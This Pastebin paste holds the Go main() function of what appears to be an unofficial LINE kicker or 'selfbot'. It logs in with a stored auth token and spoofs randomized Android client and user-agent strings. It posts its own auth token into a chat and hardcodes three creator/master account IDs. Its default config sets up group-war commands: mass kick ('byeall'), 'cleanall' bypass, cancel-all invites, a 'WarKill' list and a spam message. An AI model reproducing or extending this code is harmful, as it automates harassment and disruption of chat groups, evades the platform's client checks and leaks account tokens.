Advertisement
kohpriwniranam

main/go1

Sep 8th, 2023
1,747
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 5.87 KB | None | 0 0
  1. //==================//
  2. func main(){
  3.     rand.Seed(time.Now().UTC().UnixNano())
  4.     cpu = runtime.NumCPU()
  5.     CheckExprd()
  6.     filepath := fmt.Sprintf("token/%s.txt", name)
  7.     b, err := ioutil.ReadFile(filepath)
  8.     if err != nil {
  9.         fmt.Print(err)
  10.     }
  11.     token := string(b)//;df := randomString(1);ds := randomString(1);dx := randomString(1);dz := randomString(1)
  12.     r1 := randomStringAlphabet(2)
  13.     r2 := randomStringAlphabet(1)
  14.     r3 := randomStringLetter(5)
  15.     r4 := randomStringAlphabet(1)
  16.     var AppName = fmt.Sprintf("ANDROID\t2.%v.%v\tAndroid OS\t10.%s.%s", r1,r2,r3,r4)
  17.     var UserAgent = fmt.Sprintf("LLA/2.%v.%v SM-J320G 10.%s.%s", r1,r2,r3,r4)
  18.     LINE_APPLICATION = AppName
  19.     USER_AGENT = UserAgent
  20.     LoginWithAuthToken(token)
  21.     result := " ☘️  𝗕𝗢𝗧 𝗜𝗡𝗙𝗢  ☘️"+"\n\n"
  22.     result += " 🧭  Version: "+versions+"\n"
  23.     result += " 🧭  Revised: "+Revised+"\n"
  24.     result += " 🧭  AppName: "+AppName+"\n"
  25.     result += " 🧭  UserAgent: "+UserAgent+"\n"
  26.     result += " 🧭  ToKen: \n"+token+"\n"
  27.     SendText(E2EE_Golang, result, 0)   
  28.     RemoveLeterSelling()
  29.     line := new(LINEBOTS)
  30.     readJs := fmt.Sprintf("db/%s.json", name)
  31.     file, err := ioutil.ReadFile(readJs)
  32.     if err != nil {    
  33.         line.data = &User{
  34.             Creator:        []string{"u4f277756fcca495d02e3292e317bec8b","uf17ac0aaec776a55460f0e50fa78fe61","u96f77decf42e3598ffdac8770787f946"},
  35.             Master:         []string{"u4f277756fcca495d02e3292e317bec8b","uf17ac0aaec776a55460f0e50fa78fe61","u96f77decf42e3598ffdac8770787f946"},
  36.             ArgSname:       "?",
  37.             Logo:           " 𝗡𝗶𝗿𝗮𝗻𝗮𝗺™ 𝗕𝗼𝘁𝘀",
  38.             Idlink:         "http://line.me/ti/p/~@665xovul",
  39.             Giftlink:"https://media2.giphy.com/media/3o7btMotAhVnUOz2Mg/giphy.gif?cid=6c09b9521a634e84ac12ebac149c10f8885eeba2644fbb29&rid=giphy.gif&ct=g",        
  40.             Owner:          []string{},
  41.             Admins:         []string{},
  42.             Squad:          []string{},        
  43.             Gowner:         mygowner,
  44.             Gadmin:         mygadmin,          
  45.             Gstaff:         mygstaff,
  46.             Staylist:       groupLock,
  47.             ProName:        proName,
  48.             WarKill:        warKill,
  49.             Gname:          saveGname,
  50.             Gticket:        groupLink,
  51.             ListBlacks:     blacks,
  52.             Unlucklist:     []string{},
  53.             MessageSpam:    SpamMsg,
  54.             WarsQrkill:     warsqrkill,                    
  55.             Bots:           []string{},
  56.             Sq:             []string{},
  57.             Antijs:         []string{},
  58.             ProQR:          []string{},                
  59.             ProInvite:      []string{},
  60.             ProKick:        []string{},
  61.             ProCancel:      []string{},        
  62.             ProJoin:        []string{},
  63.             ProCallmedia:   []string{},
  64.             ProCallvideo:   []string{},        
  65.             ProShare:       []string{},
  66.             ProDelalbum:    []string{},
  67.             ProNote:        []string{},
  68.             ProAlbum:       []string{},    
  69.             ProSendcontact: []string{},
  70.             ProAnyurl:      []string{},
  71.             ProFlex:        []string{},        
  72.             Wban:           []string{"https://", "http://", "line://", ".com", ".vip", ".net"},
  73.             Banned:         []string{},
  74.             Banmid:         []string{},
  75.             Canban:         true,          
  76.             FastCans:       false,
  77.             BackupMem:      false,
  78.             Modebackup:     true,
  79.             Modeajs:        false,
  80.             AutoBL:         false,         
  81.             ForceINV:       false,
  82.             ForceCan:       false,         
  83.             AutoCN:         false,         
  84.             Antitag:        false,
  85.             Promotebans:    false,
  86.             Demotebans:     false,         
  87.             Nukick:         false,
  88.             Nucancel:       false,
  89.             ByeMem:         false,
  90.             Silent:         false,
  91.             Responkick:     "_╭∩╮(ಠ_ಠ)╭∩╮_",
  92.             Team:           "N̶i̶r̶a̶n̶a̶m̶ B̶o̶t̶s̶",          
  93.             KickBan:        false,
  94.             Limiter:        []string{},        
  95.             Kickall:        "byeall",
  96.             Bypass:         "cleanall",
  97.             Cancelall:      "cansall",
  98.             Kickmem:        "tap",
  99.             Chokdi:         " goodluck",
  100.             Symbologo:      "ηιяα_ηαм™ ᴮᴼᵀ",
  101.             Sett:           "settings",
  102.             Tag:            "mentions",
  103.             Clearban:       "unban",
  104.         }
  105.         b, _ := json.MarshalIndent(line.data, "", "   ")
  106.         _ = ioutil.WriteFile(readJs, b, 0644)//1024
  107.     } else {
  108.         line.data = new(User)
  109.         _ = json.Unmarshal([]byte(file), &line.data)
  110.     }
  111.     for {
  112.         fetch := RealFetchOps()
  113.         if len(fetch) > 0 {
  114.             ops := fetch[0]
  115.             if ops.Type != 26 {
  116.                 if line.data.Modeajs == true {
  117.                     runtime.GOMAXPROCS(cpu)
  118.                     go func(){
  119.                         line.Majs(ops)
  120.                     }()
  121.                 }else if line.data.Modebackup == true {
  122.                     runtime.GOMAXPROCS(100)
  123.                     if ops.Type == 11 || ops.Type == 122 {
  124.                         runtime.GOMAXPROCS(100)
  125.                         go func(){line.NotifUpdate(ops)}()
  126.                     } else if ops.Type == 15 {
  127.                         runtime.GOMAXPROCS(100)
  128.                         go func(){line.NotifLeave(ops)}()
  129.                     } else if  ops.Type == 16 || ops.Type == 129 {
  130.                         runtime.GOMAXPROCS(100)
  131.                         go func(){line.NotifAcceptinv(ops)}()
  132.                     } else if ops.Type == 12 || ops.Type == 123 {
  133.                         runtime.GOMAXPROCS(100)
  134.                         go func(){line.NotifInviteIntoGroup(ops)}()
  135.                     } else if ops.Type == 31 || ops.Type == 125 {
  136.                         runtime.GOMAXPROCS(100)
  137.                         go func(){line.NotifCountCancel(ops)}()
  138.                     } else if ops.Type == 32 || ops.Type == 126 {
  139.                         runtime.GOMAXPROCS(100)
  140.                         go func(){line.NotifCancel(ops)}()
  141.                     } else if ops.Type == 13 || ops.Type == 124 {
  142.                         runtime.GOMAXPROCS(100)
  143.                         go func(){line.NotifInvite(ops)}()
  144.                     } else if ops.Type == 14 || ops.Type == 12 {
  145.                         runtime.GOMAXPROCS(100)
  146.                         go func(){line.NotifCInvite(ops)}()
  147.                     } else if ops.Type == 17 || ops.Type == 130 {
  148.                         runtime.GOMAXPROCS(100)
  149.                         go func(){line.NotifJoin(ops)}()
  150.                     } else if ops.Type == 18 || ops.Type == 132 {
  151.                         runtime.GOMAXPROCS(100)
  152.                         go func(){line.NotifCCountKick(ops)}()
  153.                     } else if ops.Type == 19 || ops.Type == 133 {
  154.                         runtime.GOMAXPROCS(100)
  155.                         go func(){line.NotifKick(ops)}()
  156.                     } else if ops.Type == 55 {
  157.                         runtime.GOMAXPROCS(100)
  158.                         go func(){line.NotifRead(ops)}()
  159.                     }
  160.                 }                          
  161.             }else {
  162.                 go func(){
  163.                     line.Comand(ops)
  164.                 }()
  165.             }
  166.         }
  167.         go func() {
  168.             b, _ := json.MarshalIndent(line.data, "", "    ")
  169.             _ = ioutil.WriteFile(readJs, b, 0644)//1024
  170.         }()
  171.     }
  172. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement